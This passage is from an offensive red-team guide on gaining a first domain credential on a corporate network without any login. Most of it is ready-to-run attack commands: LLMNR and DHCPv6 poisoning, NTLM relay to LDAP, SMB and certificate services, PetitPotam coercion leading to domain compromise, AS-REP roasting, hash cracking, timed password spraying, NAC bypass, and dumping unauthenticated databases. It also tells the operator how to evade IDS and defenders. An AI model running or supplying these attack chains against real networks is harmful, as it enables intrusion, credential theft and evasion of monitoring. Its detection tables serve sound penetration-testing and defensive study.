G --> J["Direct Access
Config Files, Data"]
H --> K["Crack Hash
or Relay to LDAP/SMB"]
I --> L["AS-REP Roast
Password Spray"]
J --> M["Credentials in Config
Keys, Tokens"]
K --> N["FIRST CREDENTIAL"]
L --> N
M --> N
style A fill:#ff6600
style N fill:#00ff00
style E fill:#ff0000
style H fill:#ffaa00OPSEC Risk Matrix: Unauthenticated Techniques
| Technique |
OPSEC Risk |
Network Signature |
IDS/Snort Detection |
Logs Generated |
| Parse ARP/DNS cache |
🟢 ZERO |
None |
None |
None |
| Responder Analyze mode |
🟢 ZERO |
Passive listening only |
None |
None |
| Network sniffing |
🟢 ZERO |
Promiscuous mode (detectable by host) |
None |
None |
| LDAP anonymous bind |
🟡 LOW |
Standard LDAP query |
Unusual if not from server |
DC event logs |
| DNS zone transfer |
🟡 LOW |
AXFR request |
alert tcp any any -> any 53 (content:"AXFR") |
DNS server logs |
| SMB null session |
🟡 MEDIUM |
Anonymous logon event |
ET POLICY SMB Null Session |
Event 4624 Type 3 (anonymous) |
| SNMP community guessing |
🟡 MEDIUM |
Multiple SNMP requests |
alert udp any any -> any 161 |
SNMP trap logs |
| Kerberos user enum |
🟡 MEDIUM |
Multiple AS-REQ to KDC |
ET POLICY Kerberos |
Event 4768 (pre-auth failures) |
| Responder poisoning |
🔴 HIGH |
Spoofed responses on wire |
ET POLICY LLMNR Query, NBNS detection |
Network IDS, SIEM correlation |
| mitm6 DHCPv6 |
🔴 HIGH |
Rogue DHCPv6 + DNS |
DHCPv6 rogue server detection |
DHCP logs, DNS logs |
| ARP spoofing |
🔴 HIGH |
Duplicate MAC, gratuitous ARP |
arpwatch, DAI (Dynamic ARP Inspection) |
Switch port security logs |
| ntlmrelayx |
🔴 HIGH |
Auth from unexpected source |
SMB/LDAP from wrong IP |
Event 4624 from relay source |
| Coerced auth (PetitPotam) |
🔴 HIGH |
EfsRpcOpenFileRaw calls |
ET EXPLOIT PetitPotam |
Event 4624, EFSRPC logs |
11.1 Passive Listening (Zero Noise)
Do this FIRST. Always. Before touching anything.
# ════════════════════════════════════════════════════
# RESPONDER IN ANALYZE MODE - Listen to broadcast traffic
# ════════════════════════════════════════════════════
sudo responder -I eth0 -A
# └─ ANALYZE ONLY (no poisoning)
# What you'll see:
# - LLMNR/NBT-NS/mDNS queries (hostnames being looked up)
# - Systems broadcasting for file shares, printers
# - Sometimes NTLMv2 hashes from misconfigured services (free creds!)
# - Subnet layout, naming conventions, domain name
# ════════════════════════════════════════════════════
# NETWORK SNIFFING - Capture cleartext creds
# ════════════════════════════════════════════════════
# Tcpdump - capture everything for offline analysis
sudo tcpdump -i eth0 -w capture.pcap -s 0
# Targeted: HTTP auth, FTP, Telnet, SMTP, SNMP
sudo tcpdump -i eth0 -A -s 0 'port 21 or port 23 or port 25 or port 80 or port 110 or port 143 or port 161'
# net-creds - auto-extract creds from traffic (passive)
# https://github.com/DanMcInerney/net-creds
sudo python2 net-creds.py -i eth0
# PCredz - extract creds from pcap or live
# https://github.com/lgandx/PCredz
sudo python3 Pcredz -i eth0
# ════════════════════════════════════════════════════
# PASSIVE HOST DISCOVERY - From what you can already see
# ════════════════════════════════════════════════════
# ARP table (who your machine has talked to)
ip neigh show # Linux
arp -a # Windows/Linux
# DNS cache
resolvectl query --cache # Linux systemd
ipconfig /displaydns # Windows
# Active connections (what's talking to what)
ss -tn state established # Linux
netstat -an | grep ESTABLISHED # Universal
# Netdiscover - passive ARP monitoring
sudo netdiscover -i eth0 -p # -p = passive mode (sniff only)
11.2 Unauthenticated Service Enumeration
SMB Null Sessions
# ════════════════════════════════════════════════════
# NULL SESSION - Connect without credentials
# OPSEC: 🟡 MEDIUM - Generates anonymous logon (Event 4624)
# ════════════════════════════════════════════════════
# enum4linux-ng (BEST tool for null session enum)
# https://github.com/cddmp/enum4linux-ng
enum4linux-ng -A 10.10.10.50
# └─ All enumeration modules
# Targeted enum4linux-ng
enum4linux-ng -U 10.10.10.50 # Users only
enum4linux-ng -S 10.10.10.50 # Shares only
enum4linux-ng -G 10.10.10.50 # Groups only
enum4linux-ng -P 10.10.10.50 # Password policy
enum4linux-ng -oJ output 10.10.10.50 # JSON output
# NetExec null session
netexec smb 10.10.10.50 -u '' -p '' # Check null auth
netexec smb 10.10.10.50 -u '' -p '' --shares # List shares
netexec smb 10.10.10.50 -u '' -p '' --users # List users
netexec smb 10.10.10.50 -u '' -p '' --groups # List groups
netexec smb 10.10.10.50 -u '' -p '' --pass-pol # Password policy
netexec smb 10.10.10.50 -u '' -p '' --rid-brute # RID cycling (user enum)
# Guest session (try if null fails)
netexec smb 10.10.10.50 -u 'guest' -p '' # Guest account
netexec smb 10.10.10.50 -u 'guest' -p '' --shares
# smbclient null session
smbclient -L //10.10.10.50 -N # List shares
smbclient //10.10.10.50/ShareName -N # Access share
# smbmap
smbmap -H 10.10.10.50 -u '' -p '' # Map permissions
smbmap -H 10.10.10.50 -u '' -p '' -R # Recursive listing
# rpcclient null session
rpcclient -U '' -N 10.10.10.50
rpcclient $> enumdomusers # Enumerate users
rpcclient $> enumdomgroups # Enumerate groups
rpcclient $> querydominfo # Domain info
rpcclient $> querydispinfo # Detailed user info
rpcclient $> getdompwinfo # Password policy
rpcclient $> lsaenumsid # SID enumeration
rpcclient $> lookupnames "Domain Admins" # Resolve group SID
# Scan subnet for null sessions
netexec smb 10.10.10.0/24 -u '' -p '' --shares 2>/dev/null | grep -v "STATUS_ACCESS_DENIED"
What null sessions give you:
- Usernames → AS-REP roast, password spray target list
- Password policy → Know lockout threshold before spraying
- Share names → Find readable shares with sensitive data
- Group membership → Identify high-value accounts
- Domain SID → Needed for some attacks
LDAP Anonymous Bind
# ════════════════════════════════════════════════════
# ANONYMOUS LDAP - Query AD without credentials
# OPSEC: 🟡 LOW - Looks like normal LDAP traffic
# NOTE: Disabled by default on Server 2019+, but legacy DCs may allow
# ════════════════════════════════════════════════════
# ldapsearch - anonymous bind
ldapsearch -x -H ldap://10.10.10.50 -b "DC=domain,DC=local" -s base namingcontexts
# │ │ │
# │ │ └─ Base object only
# │ └────────────────────────── Search base
# └──────────────────────────────────────────────────── Simple auth (anonymous)
# Enumerate users
ldapsearch -x -H ldap://10.10.10.50 -b "DC=domain,DC=local" \
"(objectClass=user)" sAMAccountName description memberOf
# Enumerate computers
ldapsearch -x -H ldap://10.10.10.50 -b "DC=domain,DC=local" \
"(objectClass=computer)" dNSHostName operatingSystem
# Enumerate groups
ldapsearch -x -H ldap://10.10.10.50 -b "DC=domain,DC=local" \
"(objectClass=group)" cn member
# windapsearch (automated LDAP enum)
# https://github.com/ropnop/windapsearch
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 -U # Users
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 -G # Groups
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 -C # Computers
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 --da # Domain Admins
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 -PU # Privileged users
python3 windapsearch.py -d domain.local --dc-ip 10.10.10.50 --unconstrained # Unconstrained delegation
Kerberos User Enumeration (No Creds Required)
# ════════════════════════════════════════════════════
# KERBRUTE - Enumerate valid usernames via Kerberos
# OPSEC: 🟡 MEDIUM - Generates Event 4768 (KRB_AP_ERR_PREAUTH_REQUIRED for valid users)
# ADVANTAGE: No lockouts during enumeration, faster than LDAP
# ════════════════════════════════════════════════════
# User enumeration (10K+ users/second)
./kerbrute userenum -d domain.local --dc 10.10.10.50 usernames.txt
# │
# └─ Wordlist of potential usernames
# Common username wordlists:
# - /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# - Custom: first.last, flast, firstl (match company naming convention)
# Generate username list from names
# https://github.com/urbanadventurer/username-anarchy
username-anarchy --input-file names.txt --select-format first.last
# AS-REP Roasting (find users with pre-auth disabled - NO CREDS NEEDED)
./kerbrute userenum -d domain.local --dc 10.10.10.50 usernames.txt
# Then spray discovered users for AS-REP:
impacket-GetNPUsers domain.local/ -usersfile valid_users.txt -no-pass -dc-ip 10.10.10.50 -format hashcat
# │
# └─ NO PASSWORD NEEDED
# If you find AS-REP hashes, crack with hashcat:
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
DNS Enumeration
# ════════════════════════════════════════════════════
# DNS - Zone transfers, record enumeration
# OPSEC: 🟡 LOW - DNS queries are normal traffic
# ════════════════════════════════════════════════════
# Find the domain name first (from DHCP, reverse DNS, or Responder)
nslookup
> server 10.10.10.50
> set type=any
> domain.local
# Zone transfer attempt (jackpot if it works)
dig axfr domain.local @10.10.10.50
# │
# └─ Full zone transfer - all DNS records
# Reverse DNS sweep (find hostnames from IPs)
for i in $(seq 1 254); do
host 10.10.10.$i 10.10.10.50 2>/dev/null | grep "domain name pointer"
sleep 1
done
# dnsrecon (automated)
dnsrecon -d domain.local -n 10.10.10.50 -t axfr # Zone transfer
dnsrecon -d domain.local -n 10.10.10.50 -t brt # Brute force subdomains
dnsrecon -r 10.10.10.0/24 -n 10.10.10.50 # Reverse lookup range
# dnsenum
dnsenum --dnsserver 10.10.10.50 --enum domain.local
# AD-specific DNS records (SRV records reveal infrastructure)
dig SRV _ldap._tcp.domain.local @10.10.10.50 # Domain controllers
dig SRV _kerberos._tcp.domain.local @10.10.10.50 # KDC servers
dig SRV _gc._tcp.domain.local @10.10.10.50 # Global catalog
dig SRV _kpasswd._tcp.domain.local @10.10.10.50 # Password change servers
SNMP Enumeration
# ════════════════════════════════════════════════════
# SNMP - Community string guessing → full system info
# OPSEC: 🟡 MEDIUM - Multiple SNMP requests visible on network
# Many network devices still use "public" or "private" community strings
# ════════════════════════════════════════════════════
# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50
# Sweep subnet for SNMP
onesixtyone -c community.txt -i hosts.txt
# If you find a valid community string:
snmpwalk -v2c -c public 10.10.10.50 # Full MIB walk
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.1 # System info
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.4.1.77.1.2.25 # Windows users
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.6.13.1.3 # TCP connections
snmpwalk -v2c -c public 10.10.10.50 1.3.6.1.2.1.25.6.3.1.2 # Installed software
# snmp-check (automated, nicer output)
snmp-check 10.10.10.50 -c public
# SNMP on network devices often reveals:
# - Interface IPs and VLANs → network topology
# - Routing tables → other subnets
# - ARP tables → host discovery
# - Running configs → credentials in plaintext!
Services Commonly Open Without Auth
# ════════════════════════════════════════════════════
# FTP ANONYMOUS - Old but still everywhere
# OPSEC: 🟢 LOW - Standard FTP connection
# ════════════════════════════════════════════════════
ftp 10.10.10.50 # Try: anonymous / anonymous@
nmap --script ftp-anon -p 21 10.10.10.50
# ════════════════════════════════════════════════════
# NFS - Network File System (often misconfigured)
# OPSEC: 🟡 LOW - Standard NFS requests
# ════════════════════════════════════════════════════
showmount -e 10.10.10.50 # List exports
mount -t nfs 10.10.10.50:/share /mnt/nfs # Mount share
# Look for: no_root_squash (allows root access), sensitive files
# ════════════════════════════════════════════════════
# REDIS - Usually no authentication
# OPSEC: 🟢 LOW - Standard TCP connection
# ════════════════════════════════════════════════════
redis-cli -h 10.10.10.50
> INFO # Server info
> CONFIG GET * # All config (may have passwords)
> KEYS * # All keys
> GET <key> # Read specific key
# ════════════════════════════════════════════════════
# MONGODB - Often exposed without auth
# OPSEC: 🟢 LOW - Standard connection
# ════════════════════════════════════════════════════
mongosh --host 10.10.10.50
> show dbs
> use <database>
> show collections
> db.<collection>.find()
# ════════════════════════════════════════════════════
# ELASTICSEARCH - Almost never has auth by default
# OPSEC: 🟢 LOW - HTTP requests
# ════════════════════════════════════════════════════
curl http://10.10.10.50:9200/ # Cluster info
curl http://10.10.10.50:9200/_cat/indices # All indices
curl http://10.10.10.50:9200/<index>/_search?pretty # Dump index
# ════════════════════════════════════════════════════
# DOCKER API - Remote code execution if exposed
# OPSEC: 🟢 LOW - HTTP API call
# ════════════════════════════════════════════════════
curl http://10.10.10.50:2375/version # Docker version
curl http://10.10.10.50:2375/containers/json # Running containers
curl http://10.10.10.50:2375/images/json # Available images
# RCE: Create a container with host filesystem mounted
# ════════════════════════════════════════════════════
# KUBERNETES API - Sometimes open
# OPSEC: 🟢 LOW - HTTP API call
# ════════════════════════════════════════════════════
curl -k https://10.10.10.50:6443/api/v1/namespaces
curl -k https://10.10.10.50:10250/pods # Kubelet
# ════════════════════════════════════════════════════
# IPMI - Baseboard Management Controller
# OPSEC: 🟡 LOW - Standard IPMI traffic
# VULNERABILITY: Hash disclosure (cipher 0 / rakp)
# ════════════════════════════════════════════════════
nmap -sU -p 623 --script ipmi-version 10.10.10.0/24
# Dump hashes:
ipmitool -I lanplus -H 10.10.10.50 -U '' -P '' user list
# Or use Metasploit: auxiliary/scanner/ipmi/ipmi_dumphashes
# ════════════════════════════════════════════════════
# PRINTERS - PJL/PCL access (configs, stored jobs)
# OPSEC: 🟢 LOW - Printers rarely monitored
# ════════════════════════════════════════════════════
# PRET - Printer Exploitation Toolkit
python3 pret.py 10.10.10.50 pjl
# Commands: ls, get, put, display, info
# Look for: stored print jobs (may contain sensitive docs), LDAP bind passwords
11.3 Credential Capture Without Initial Credentials
This is where you go from zero creds to first hash/password.
Responder Poisoning (LLMNR/NBT-NS/mDNS)
# ════════════════════════════════════════════════════
# RESPONDER - Poison name resolution → capture NTLMv2 hashes
# OPSEC: 🔴 HIGH - Sends spoofed responses on the network
# DETECTION: Network monitoring, LLMNR/NBT-NS disabled = you get nothing
# MITRE: T1557.001 (LLMNR/NBT-NS Poisoning)
# ════════════════════════════════════════════════════
# Full poisoning (captures hashes)
sudo responder -I eth0 -wFb
# │││
# ││└─ Force basic auth for HTTP (more creds, lower quality)
# │└── Fingerprint hosts
# └─── Start WPAD rogue proxy (catches more auth)
# Targeted: Only specific protocols
sudo responder -I eth0 -wr # WPAD + capture, no HTTP server
sudo responder -I eth0 -wf # WPAD + fingerprint
# Hashes saved to: /usr/share/responder/logs/
# Crack captured NTLMv2 hashes:
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
# Or relay them (see below)
mitm6 + ntlmrelayx (DHCPv6 Attack)
# ════════════════════════════════════════════════════
# MITM6 - Poison DHCPv6 → become DNS server → relay auth
# OPSEC: 🔴 HIGH - Creates rogue DHCPv6 responses
# WHY IT WORKS: Windows prefers IPv6, DHCPv6 is on by default
# MITRE: T1557 (Adversary in the Middle)
# ════════════════════════════════════════════════════
# Terminal 1: Start mitm6
sudo mitm6 -d domain.local -i eth0
# │
# └─ Target domain (auto-replies to DHCPv6 requests)
# Terminal 2: Start ntlmrelayx to relay captured auth
# Relay to LDAP (create computer account, dump AD info):
impacket-ntlmrelayx -6 -t ldaps://10.10.10.50 -wh fake-wpad.domain.local -l loot/
# │ │ │ │
# │ │ │ └─ Save loot here
# │ │ └──────────────────────────── WPAD hostname
# │ └──────────────────────────────────────────────────── Target DC LDAPS
# └──────────────────────────────────────────────────────── IPv6 mode
# Relay to SMB (get shell on target):
impacket-ntlmrelayx -6 -t smb://10.10.10.100 -wh fake-wpad.domain.local -i
# │
# └─ Interactive shell
# What mitm6+ntlmrelayx gives you:
# - Domain user/computer/group information (LDAP relay)
# - Create a new machine account (LDAP relay with --add-computer)
# - Interactive SMB shell on relay target
# - Dump SAM hashes from relay target (SMB relay)
NTLM Relay (Without Credentials)
# ════════════════════════════════════════════════════
# NTLMRELAYX - Relay authentication to other services
# OPSEC: 🔴 HIGH - Auth appears from your IP, unusual source
# CRITICAL: Target must NOT have SMB signing required (for SMB relay)
# ════════════════════════════════════════════════════
# Step 1: Find targets without SMB signing
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Hosts where signing = False are relay targets
# Step 2: Disable SMB/HTTP in Responder (ntlmrelayx handles those)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
# Step 3: Start ntlmrelayx pointing to targets
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# │ │
# │ └─ SMBv2 support
# └──────────────────────── Target file
# Step 4: Start Responder to capture and forward auth
sudo responder -I eth0 -wr
# Relay to LDAP/LDAPS (dump AD, create accounts):
impacket-ntlmrelayx -t ldaps://DC_IP --add-computer YOURPC$ Password123
# Creates a machine account you control → use for further attacks
# Relay to ADCS (ESC8 - get certificates):
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController
# Gets a certificate → authenticate as relayed machine/user
# Relay with SOCKS (keep sessions alive for later use):
impacket-ntlmrelayx -tf targets.txt -smb2support -socks
# Then use proxychains through the SOCKS proxy to access relayed sessions
Coerced Authentication (Force Targets to Auth to You)
# ════════════════════════════════════════════════════
# COERCION - Make machines authenticate to your listener
# OPSEC: 🔴 HIGH - RPC calls to target, specific Snort/Suricata rules exist
# COMBINE WITH: ntlmrelayx or Responder to capture/relay the auth
# ════════════════════════════════════════════════════
# Coercer - unified tool for all coercion methods
# https://github.com/p0dalirius/Coercer
# Requires at least low-priv creds for most methods, but some work unauthenticated
# PetitPotam (EfsRpc) - sometimes works WITHOUT creds on unpatched DCs
python3 PetitPotam.py LISTENER_IP DC_IP
# Coerces DC to authenticate to your listener via EFSRPC
# PrinterBug / SpoolSample - requires valid creds
python3 printerbug.py domain.local/user:pass@DC_IP LISTENER_IP
# DFSCoerce - requires valid creds
python3 dfscoerce.py -u user -p pass -d domain.local LISTENER_IP DC_IP
# ShadowCoerce - FSRVP service
python3 shadowcoerce.py LISTENER_IP DC_IP
# Full coercion scan with Coercer:
python3 coercer.py scan -t DC_IP -u user -p pass -d domain.local
python3 coercer.py coerce -t DC_IP -l LISTENER_IP -u user -p pass -d domain.local
# COMBO: PetitPotam + ntlmrelayx to ADCS (ESC8) = domain compromise
# Terminal 1:
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2:
python3 PetitPotam.py YOUR_IP DC_IP
# Result: Certificate for DC → DCSync → all domain hashes
Password Spraying (After Getting Usernames)
# ════════════════════════════════════════════════════
# PASSWORD SPRAY - Try common passwords against discovered users
# OPSEC: 🔴 CRITICAL - Account lockouts, Event 4625/4771
# MUST KNOW: Lockout threshold and observation window FIRST
# ════════════════════════════════════════════════════
# RULE: ALWAYS check password policy first
# From null session: rpcclient -U '' -N DC_IP → getdompwinfo
# From netexec: netexec smb DC_IP -u '' -p '' --pass-pol
# Kerbrute spray (faster, less logged than SMB)
./kerbrute passwordspray -d domain.local --dc DC_IP valid_users.txt 'Welcome2025!'
./kerbrute passwordspray -d domain.local --dc DC_IP valid_users.txt 'Company123!'
./kerbrute passwordspray -d domain.local --dc DC_IP valid_users.txt 'Season+Year'
# NetExec spray (more features, SMB-based)
netexec smb DC_IP -u users.txt -p 'Welcome2025!' --no-bruteforce --continue-on-success
# │ │
# │ └─ Don't stop at first hit
# └──────────────── One pass per user only
# TIMING: If lockout = 5 attempts in 30 min:
# - Try 1 password, wait 35 minutes, try next password
# - NEVER exceed (threshold - 2) attempts in the observation window
# Common passwords to try:
# Season+Year: Spring2026, Winter2025, Summer2025
# Company+123: CompanyName123!, Company2025!
# Welcome+Year: Welcome2025!, Welcome2026!
# Month+Year: February2026!, January2026!
# Password+1: Password1!, P@ssw0rd!
11.4 What to Look For On Accessible Shares
# ════════════════════════════════════════════════════
# ONCE YOU CAN ACCESS SHARES (null or guest session):
# ════════════════════════════════════════════════════
# Files that often contain credentials:
# ─────────────────────────────────────
# web.config → DB connection strings, API keys
# *.config, *.ini, *.conf → App configurations
# *.xml (Groups.xml, etc.) → GPP passwords (MS14-025)
# unattend.xml / sysprep.xml → Windows install passwords
# *.vbs, *.ps1, *.bat, *.cmd → Scripts with hardcoded creds
# *.kdbx → KeePass databases
# *.rdp → Saved RDP connections
# id_rsa, *.key, *.pem → SSH private keys
# .git/ directories → Source code history (may have old creds)
# .env files → Environment variables with secrets
# passwords.txt, creds.xlsx → The obvious (people really do this)
# NTDS.dit, SAM, SYSTEM → Backed up AD/local password databases
# *.pcap, *.pcapng → Network captures with creds
# Automated sensitive file search:
# Snaffler (BEST for share triage)
# https://github.com/SnaffCon/Snaffler
.\Snaffler.exe -s -o snaffler_output.log
# │
# └─ SMB mode (scans accessible shares)
# ManSpider - crawl shares for keywords
# https://github.com/blacklanternsecurity/MANSPIDER
manspider 10.10.10.0/24 -u '' -p '' -e .config .xml .ini .txt .ps1 .bat
manspider 10.10.10.0/24 -u '' -p '' -c password cred secret key token
# SYSVOL - Always check (readable by any domain user)
# Contains Group Policy files, potentially GPP passwords
smbclient //DC_IP/SYSVOL -N
# Or mount and search:
mount -t cifs //DC_IP/SYSVOL /mnt/sysvol -o user=,password=
grep -ri "cpassword" /mnt/sysvol/
# Decrypt GPP password: gpp-decrypt <hash>
11.5 Network-Level OPSEC Considerations
What Defenders See
| Your Action |
Defender Visibility |
Detection Tool |
| Plug into network |
New MAC on switch port, DHCP request |
802.1X/NAC, DHCP logs, arpwatch |
| ARP scanning |
Flood of ARP requests |
ARP rate monitoring, IDS |
| Port scanning |
Thousands of SYN/connections |
Snort/Suricata, firewall logs, NetFlow |
| SMB null session |
Anonymous logon event |
Event 4624 (null session), SIEM rules |
| LDAP queries |
LDAP traffic from non-server |
DC event logs, LDAP auditing |
| Responder poisoning |
Spoofed LLMNR/NBNS responses |
Network TAP, Respounder, LLMNR disabled |
| mitm6 |
Rogue DHCPv6, rogue DNS |
DHCPv6 monitoring, DNS logging |
| NTLM relay |
Auth from unexpected source IP |
SIEM correlation (source IP vs normal) |
| Password spray |
Multiple failed logons |
Event 4625 velocity, smart lockout |
Network Access Control (NAC) Bypass
IF 802.1X IS PRESENT:
├── Check for MAB (MAC Auth Bypass) fallback
│ └── Clone a known device MAC (printer, phone, IoT)
│ macchanger -m AA:BB:CC:DD:EE:FF eth0
│ # Find MACs: check stickers on VoIP phones, printers
│
├── Check for unmanaged switch ports
│ └── Conference rooms, printer ports, IP phones
│
├── VLAN hopping (if trunking misconfigured)
│ └── yersinia -I eth0 -G # GUI for VLAN attacks
│ frogger.sh # DTP-based VLAN hopping
│ voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' # Hop to voice VLAN
│
├── NAC bypass via IP phone
│ └── Some phones pass through traffic untagged
│ Plug into phone, bridge through
│ NAC Pi technique: Raspberry Pi MitM between device and switch
│
└── Captive portal bypass
└── Clone MAC of authenticated device
Spoof DNS responses
Additional Unauthenticated Services
# ════════════════════════════════════════════════════
# SMTP USER ENUMERATION (port 25)
# OPSEC: 🟡 LOW - Standard SMTP commands
# ════════════════════════════════════════════════════
smtp-user-enum -M VRFY -U users.txt -t 10.10.10.50 # VRFY method
smtp-user-enum -M RCPT -U users.txt -t 10.10.10.50 # RCPT TO method
smtp-user-enum -M EXPN -U users.txt -t 10.10.10.50 # EXPN method
# Returns valid email addresses → usernames for spraying
# ════════════════════════════════════════════════════
# MSRPC ENUMERATION (port 135)
# OPSEC: 🟢 LOW - Standard RPC endpoint queries
# ════════════════════════════════════════════════════
impacket-rpcdump @10.10.10.50 # Enumerate RPC interfaces
impacket-rpcdump @10.10.10.50 | grep -i "MS-" # Find interesting interfaces
# Reveals: available services, potential attack surface
# ════════════════════════════════════════════════════
# IPMI HASH DUMPING (UDP 623) - HUGE WIN IF FOUND
# OPSEC: 🟢 LOW - IPMI rarely monitored
# VULN: RAKP cipher 0 leaks password hashes
# ════════════════════════════════════════════════════
nmap -sU -p 623 --script ipmi-version 10.10.10.0/24
# Metasploit: auxiliary/scanner/ipmi/ipmi_dumphashes
# Crack: hashcat -m 7300 ipmi_hashes.txt wordlist.txt
# Often leads to: ADMIN/admin, admin/password, default IPMI creds
# ════════════════════════════════════════════════════
# VNC NO-AUTH CHECK (port 5900)
# OPSEC: 🟢 LOW - Single connection attempt
# ════════════════════════════════════════════════════
nmap -p 5900 --script vnc-info,vnc-brute 10.10.10.50
# ════════════════════════════════════════════════════
# TFTP (UDP 69) - No authentication by design
# OPSEC: 🟢 LOW - Rarely logged
# ════════════════════════════════════════════════════
tftp 10.10.10.50 -c get running-config # Network device configs
tftp 10.10.10.50 -c get startup-config # May contain plaintext passwords
# ════════════════════════════════════════════════════
# PRINTERS (port 9100 PJL, port 515 LPR)
# OPSEC: 🟢 LOW - Printers are almost never monitored
# ════════════════════════════════════════════════════
# PRET - Printer Exploitation Toolkit
python3 pret.py 10.10.10.50 pjl
# Look for: stored print jobs, LDAP bind passwords in config, filesystem access
echo "@PJL INFO ID" | nc 10.10.10.50 9100
Inveigh (Windows Responder Alternative)
# ════════════════════════════════════════════════════
# If you're on a Windows host and can't run Responder:
# Inveigh = Responder for Windows (C# or PowerShell)
# ════════════════════════════════════════════════════
# C# version (preferred - less AV detection)
.\Inveigh.exe
# PowerShell version
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y
# Captures NTLMv2 hashes just like Responder
Avoiding Network IDS/IPS
RULES TO FOLLOW:
├── 1. Never scan faster than you need to
│ └── Rate limit everything: --max-rate 5 for nmap
│
├── 2. Avoid known-bad tool signatures
│ └── Compile tools from source, modify default strings
│ Change default ports (e.g., Responder HTTP port)
│ Avoid default Metasploit payloads
│
├── 3. Encrypt your traffic where possible
│ └── Use SSH tunnels, TLS connections
│ Avoid cleartext tool traffic (HTTP C2)
│
├── 4. Match normal traffic patterns
│ └── Scan during business hours
│ Use ports that blend in (80, 443, 53)
│ Don't generate traffic to dark IP space
│
├── 5. Be aware of NetFlow/sFlow
│ └── Connection metadata is logged even without DPI
│ Unusual connection counts to many IPs = visible
│ Connection to unusual ports = visible
│
└── 6. Know your egress
└── Egress filtering may block outbound connections
Test with curl/nc before relying on reverse shells
DNS/ICMP may be your only egress path
11.6 Quick Attack Chains: Zero to First Credential
CHAIN 1: Responder + Crack
─────────────────────────
1. sudo responder -I eth0 -wFb
2. Wait for NTLMv2 hashes (can take minutes to hours)
3. hashcat -m 5600 hashes.txt wordlist.txt
TIME: Hours to days | OPSEC: 🔴 HIGH
CHAIN 2: mitm6 + LDAP Relay
────────────────────────────
1. sudo mitm6 -d domain.local -i eth0
2. impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh fake.domain.local -l loot/
3. Wait for machine to renew DHCPv6 (up to 30 min)
4. Check loot/ for dumped AD info, create machine account
TIME: 30 min | OPSEC: 🔴 HIGH
CHAIN 3: Null Session → AS-REP Roast
─────────────────────────────────────
1. netexec smb DC_IP -u '' -p '' --users > users.txt (or --rid-brute)
2. Clean userlist: awk '{print $5}' users.txt > clean_users.txt
3. impacket-GetNPUsers domain.local/ -usersfile clean_users.txt -no-pass -dc-ip DC_IP
4. hashcat -m 18200 asrep_hashes.txt wordlist.txt
TIME: Minutes | OPSEC: 🟡 MEDIUM
CHAIN 4: Null Session → Password Spray
───────────────────────────────────────
1. netexec smb DC_IP -u '' -p '' --users --pass-pol
2. Note lockout threshold and observation window
3. ./kerbrute passwordspray -d domain.local --dc DC_IP users.txt 'Season2026!'
4. Wait > observation window
5. Try next password
TIME: Hours | OPSEC: 🔴 HIGH (if lockout threshold is low)
CHAIN 5: Anonymous LDAP → Kerberoast (needs 1 cred after spray)
───────────────────────────────────────────────────────────────
1. ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
2. Use found usernames for AS-REP or spray
3. With first cred: impacket-GetUserSPNs domain.local/user:pass -dc-ip DC_IP -request
4. hashcat -m 13100 kerberoast_hashes.txt wordlist.txt
TIME: Hours | OPSEC: 🟡 MEDIUM (after initial cred)
CHAIN 6: Open Services → Direct Creds
──────────────────────────────────────
1. Scan for: FTP(21), Redis(6379), MongoDB(27017), Elasticsearch(9200), Docker(2375)
2. Connect without auth
3. Search for: config files, connection strings, cached credentials
4. Redis: CONFIG GET requirepass; KEYS *
5. Elasticsearch: curl http://target:9200/_search?q=password
TIME: Minutes | OPSEC: 🟢 LOW
Resources & References
Methodology & Writeups
Last Updated: 2026-02-12
Focus: Stealthy network scanning and enumeration for large corporate environments
Companion Notes: See Stay_Low.md (EDR Evasion) and Stay_low_Command.md (Command OPSEC)
END OF GUIDE